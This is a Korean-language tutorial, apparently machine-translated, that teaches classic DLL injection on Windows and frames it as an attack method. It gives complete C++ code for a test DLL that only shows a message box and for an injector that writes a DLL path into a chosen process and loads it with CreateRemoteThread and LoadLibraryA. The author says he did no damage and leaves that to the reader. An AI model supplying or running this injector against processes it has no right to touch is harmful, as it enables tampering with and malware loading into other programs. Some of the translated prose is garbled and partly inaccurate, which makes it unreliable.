[상단] 간단한 DLL 주입 및 코드 상세 설명

dll 주입은 일반적으로 사용하는 공격 방법으로 그 대략적인 절차는 다음과 같다.
1, DLL을 컴파일합니다. 이 DLL의 DllMain은 파괴를 책임집니다.
2, 목표 프로세스를 열어라(당신이 파괴하려는 프로세스)
3, 열린 목표 프로세스에 메모리를 분배합니다. (이것은 우리가 주입할 dll 이름을 넣는 데 사용됩니다.)
4,Kernel32를 얻는다.dll 안에 있는 LoadLibraryA의 주소 (주의,Kernel.dll은 내부 핵 공간 안에 있기 때문에 모든 프로세스에서 그의 주소가 같기 때문에 LoadLibrary의 주소는 모든 프로세스에서도 같다).
 
세부 코드 및 절차는 다음과 같습니다.
1, Visual 스튜디오 2010을 열고 빈 C++ 프로젝트를 새로 만듭니다. CPP로 명명할 수 있습니다. 물론 Donald Knuth로 명명하고 싶으시면 가능합니다.
2, ACM이라는 이름을 가진 새 C++ 파일을 추가합니다.cpp, 물론, Bill Gates라고 명명하고 싶으면.cpp도 가능합니다.
3, 위에 있는 ACM.cpp에 다음 코드를 입력합니다.
    
#include <windows.h>
BOOL __stdcall DllMain( HANDLE hDllHandle, DWORD dwReason, LPVOID lpreserved ){
	switch(dwReason){
	case	DLL_PROCESS_ATTACH:
	case	DLL_THREAD_ATTACH:
		MessageBox(NULL, TEXT("DLL  "), TEXT("message"), MB_OK);
		break;
	case	DLL_PROCESS_DETACH:
	case	DLL_THREAD_DETACH:
		MessageBox(NULL, TEXT("DLL  "), TEXT("message"), MB_OK);
		break;
	}
	return	(TRUE);
}

4, 새 Library.def 파일, 다음을 입력합니다.
  
LIBRARY	"CPP"
EXPORTS
	DllMain

5, 이 빈 항목의 유형을 dll로 설정하고 링크 옵션 아래의 Input 아래의 Module Definition File에 Library를 입력하십시오.def (위에서 새로 만든 def 파일의 이름)
6, 이 프로젝트를 컴파일하여 CPP라는 이름을 얻었습니다.E:\\의 루트 디렉토리에 저장할 dll 파일입니다.
7, 새 빈 항목을 만들고 파일main을 추가합니다.cpp, 다음을 입력합니다.
 
#undef	UNICODE

#include <windows.h>
#include <iostream>
using namespace std;

#define _T(queto)	TEXT(queto)

void	EnableProcessPrivilege(LPTSTR	lpszPrivilege);
void	InjectToProcess(DWORD	dwProcessID, LPTSTR	lpszDllName);
int main(){
	DWORD	dwProcessID;
	cout<<"Please input the id of process which you want to inject!"<<endl;
	cin>>dwProcessID;
	//EnableProcessPrivilege(SE_DEBUG_NAME);
	InjectToProcess(dwProcessID, "G:\\cpp.dll");
}

void	EnableProcessPrivilege(LPTSTR	lpszPrivilege){
	HANDLE	hToken;
	TOKEN_PRIVILEGES	priv=	{1,{0, 0, SE_PRIVILEGE_ENABLED}};
	OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
	DWORD	Size=	lstrlen(lpszPrivilege);
	LookupPrivilegeName(NULL, &(priv.Privileges[0].Luid), lpszPrivilege, &Size);
	AdjustTokenPrivileges(hToken, FALSE, &priv, sizeof(priv), NULL, NULL);
	CloseHandle(hToken);
}

void	InjectToProcess(DWORD	dwProcessID, LPTSTR	lpszDllName){
	HANDLE	hProcToInject=	INVALID_HANDLE_VALUE;
	LPVOID	szDllName=	NULL;
	HMODULE	hKernel;	
	LPTHREAD_START_ROUTINE	ThreadProc;
	HANDLE	hRemoteThread;
	DWORD	dwFileNameLength;
	__try{
		hProcToInject=	OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessID);
		if(hProcToInject==	NULL){
			cout<<"OPen process failed!"<<endl;
			__leave;
		}
		dwFileNameLength=	(lstrlen(lpszDllName)+ 1)* sizeof(TCHAR);
		szDllName=	VirtualAllocEx(hProcToInject, 0, dwFileNameLength, MEM_COMMIT, PAGE_READWRITE);
		if(szDllName==	NULL){
			cout<<"alloc memory failed!"<<endl;
			__leave;
		}
		if(!WriteProcessMemory(hProcToInject, szDllName, lpszDllName, dwFileNameLength, NULL)){
			cout<<"wirite memory failed!"<<endl;
			__leave;
		}
		hKernel	=	GetModuleHandle(_T("kernel32.dll"));
		if(hKernel==	INVALID_HANDLE_VALUE){
			cout<<"get module handle failed!"<<endl;
			__leave;
		}
		ThreadProc=	(LPTHREAD_START_ROUTINE)GetProcAddress(hKernel, "LoadLibraryA");
		if(ThreadProc==	NULL){
			cout<<"Get function failed!"<<endl;
			__leave;
		}
		hRemoteThread=	CreateRemoteThread(hProcToInject, NULL, 0, ThreadProc, szDllName, 0, NULL);
		if(hRemoteThread==	NULL)
			__leave;
		//WaitForSingleObject(hRemoteThread, INFINITE);
	}
	__finally{

	}
}

8, 그리고 컴파일을 실행하면 검은 상자 (Console) 가 뜨고 주입할 프로세스의 PID를 입력하라고 알립니다. 이 때 작업 관리자를 열고 보기 -> 선택 열 아래의 pID 탭을 열 수 있습니다.여기에 모든 프로세스의 PID를 볼 수 있습니다. 그 검은 상자 위에 주입하고 싶은 프로세스의 PID를 입력하면 됩니다.이로써 dll 주입은 이미 완성되었다. 물론, 나는 파괴하지 않았다. 만약 네가 파괴하고 싶다면, 그것은 너의 일이다.
 
코드 설명:
어떤 사람들은 내가 굳이 작업 관리자에 PID를 입력해야 한다고 말할 수도 있다. 사실은 전혀 그럴 필요가 없다. Process32First와 Process32Next 두 함수를 사용하여 시스템 프로세스 목록을 훑어보고 주입할 프로세스 목록을 찾을 수 있다.
 
 

좋은 웹페이지 즐겨찾기